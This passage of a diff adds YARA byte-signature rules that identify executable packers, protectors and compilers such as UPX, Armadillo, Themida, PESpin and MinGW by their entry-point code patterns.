+		$0 = {24 46 41 52 45 47 24 45 4E 43 3D ?? 26 26 52 45 47 3D ?? 26 26 45 58 50 3D}
+	condition:
+		$0
+}
+rule _PESpin_v1304__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.304 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 CD 4E 40 00 8B 42 3C 03 C2 89 85 D7 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D EB 4E 40 00 53 8F 85 E1 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD 90 4F 40 00 8D 5B 04 8B 1B 89 9D 95 4F 40 00 E8 00 00 00 00 58 01 68 05 68 D3 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD C6 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C EB 04 01 EB 04 CD EB FB 2B C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 79 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 20 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD 7E 61 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 49 9C E8 03 00 00 00 EB 04 8D EB FB FF 83 04 24 0C C3 A3 C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 61 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 B2 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC 9A}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V14X__risco_
+{
+	meta:
+		description = "ACProtect V1.4X -> risco"
+	strings:
+		$0 = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v012_
+{
+	meta:
+		description = "XCR v0.12"
+	strings:
+		$0 = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2223_compressed_code__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com"
+	strings:
+		$0 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+		$1 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _XCR_v011_
+{
+	meta:
+		description = "XCR v0.11"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player 5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+	condition:
+		$0
+}
+rule _PENinja_
+{
+	meta:
+		description = "PENinja"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_V3X__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X -> StarForce Copy Protection System"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_v142_
+{
+	meta:
+		description = "X-Pack v1.4.2"
+	strings:
+		$0 = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+	condition:
+		$0
+}
+rule _A_program_by_Jupiter__
+{
+	meta:
+		description = "A program by Jupiter .."
+	strings:
+		$0 = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCryptor_by_SMT_Version_v3v4_
+{
+	meta:
+		description = "PolyCryptor by SMT Version %v3.%v4"
+	strings:
+		$0 = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5__BitArts_
+{
+	meta:
+		description = "Crunch 5 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+	condition:
+		$0
+}
+rule _MinGW_GCC_DLL_v2xx_
+{
+	meta:
+		description = "MinGW GCC DLL v2xx"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_v2x_
+{
+	meta:
+		description = "MinGW GCC v2.x"
+	strings:
+		$0 = {55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard__nProtect_
+{
+	meta:
+		description = "GameGuard - nProtect"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B}
+		$1 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JExeCompressor_10__by_Arash_Veyskarami_
+{
+	meta:
+		description = "JExeCompressor 1.0 - by Arash Veyskarami"
+	strings:
+		$0 = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8}
+		$1 = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v300a_
+{
+	meta:
+		description = "Armadillo v3.00a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v220_
+{
+	meta:
+		description = "Armadillo v2.20"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _RSCs_Process_Patcher_14_
+{
+	meta:
+		description = "R!SC's Process Patcher 1.4"
+	strings:
+		$0 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+	condition:
+		$0
+}
+rule _SoftComp_1x__BG_Soft_PT_
+{
+	meta:
+		description = "SoftComp 1.x -> BG Soft PT"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+	condition:
+		$0
+}
+rule _yodas_Protector_V102__Ashkbiz_Danehkar__Sign_by_fly_
+{
+	meta:
+		description = "yoda's Protector V1.02 -> Ashkbiz Danehkar ! Sign by fly"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VCL_
+{
+	meta:
+		description = "Vx: VCL"
+	strings:
+		$0 = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PEBundle_20x__24x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29}
+	condition:
+		$0
+}
+rule _eXpressor_v11__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_Net__LiuXingPing__Sign_by_fly_
+{
+	meta:
+		description = "NsPacK .Net -> LiuXingPing ! Sign by fly"
+	strings:
+		$0 = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _PE_Pack_v099_
+{
+	meta:
+		description = "PE Pack v0.99"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_v15_DEMO__FEUERRADERAHTeam_
+{
+	meta:
+		description = "PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v033__v034_Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.33 ~ v0.34 Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.3 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+	condition:
+		$0
+}
+rule _EXEStealth_276_Unregistered__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.76 Unregistered -> WebtoolMaster"
+	strings:
+		$0 = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+	condition:
+		$0
+}
+rule _Obsidium_1333__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.3 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CreateInstall_Stub_vxx_
+{
+	meta:
+		description = "CreateInstall Stub vx.x"
+	strings:
+		$0 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+		$1 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule __22b__Shoooo_
+{
+	meta:
+		description = "Ü¥±±Ñ¹Ëõ 2.2b -> Shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2117__Strongbit__SoftComplete_Development_h_
+{
+	meta:
+		description = "EXECryptor 2.1.17 -> Strongbit / SoftComplete Development (h)"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+	condition:
+		$0
+}
+rule _CRYPT_Version_17_c_Dismember_EXE_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember (EXE)"
+	strings:
+		$0 = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SuckStop_v111_
+{
+	meta:
+		description = "SuckStop v1.11"
+	strings:
+		$0 = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v021Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.21Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10D__vcasm_
+{
+	meta:
+		description = "VProtector V1.0D -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1000V1800__Oreans_Technologies__Sign_by_fly_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.0.0-V1.8.0.0 -> Oreans Technologies ! Sign by fly"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v020_
+{
+	meta:
+		description = "PC Shrinker v0.20"
+	strings:
+		$0 = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105_v124__Markus__Laszlo_overlay_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_20030X__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.00-3.0X -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF}
+	condition:
+		$0
+}
+rule _ActiveMARK_5x__Trymedia_SystemsInc_h_
+{
+	meta:
+		description = "ActiveMARK 5.x -> Trymedia Systems,Inc. (h)"
+	strings:
+		$0 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 67 65 72 20 69 6E 20 6D 65 6D 6F 72 79 2E 0D 0A 50 6C 65 61 73 65 20 75 6E 6C 6F 61 64 20 74 68 65 20 64 65 62 75 67 67 65 72 20 61 6E 64 20 72 65 73 74 61 72 74 20 74 68 65 20 61 70 70 6C 69 63 61 74 69 6F 6E 2E 00 57 61 72 6E 69 6E 67}
+	condition:
+		$0
+}
+rule _PEProtect_09_by_Cristoph_Gabler_1998_
+{
+	meta:
+		description = "PE-Protect 0.9 by Cristoph Gabler 1998"
+	strings:
+		$0 = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+	condition:
+		$0
+}
+rule _PESpin_13beta__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.3beta -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _RSCs_Process_Patcher_v14_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.4"
+	strings:
+		$0 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 20 40 00 68 A2 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 7C 01 00 00 85 C0 0F 84 2A 01 00 00 B8 00 60 40 00 8B 00 A3 1C 22 40 00 BE 40 60 40 00 83 7E FC 00 0F 84 F6 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 83 00 00 00 81 FF 72 21 73 63 0F 84 DD 00 00 00 33 DB 66 8B 1E 8B CF 8D 7E 02 C7 05 EA 21 40 00 00 00 00 00 83 05 EA 21 40 00 01 50 A1 1C 22 40 00 39 05 EA 21 40 00 58 0F 84 C1 00 00 00 60 6A 00 53 68 EA 20 40 00 51 FF 35 92 20 40 00 E8 EB 00 00 00 61 60 FC BE EA 20 40 00 8B CB F3 A6 61 75 C2 03}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)"
+	strings:
+		$0 = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_DLL_hsmall_sig1_
+{
+	meta:
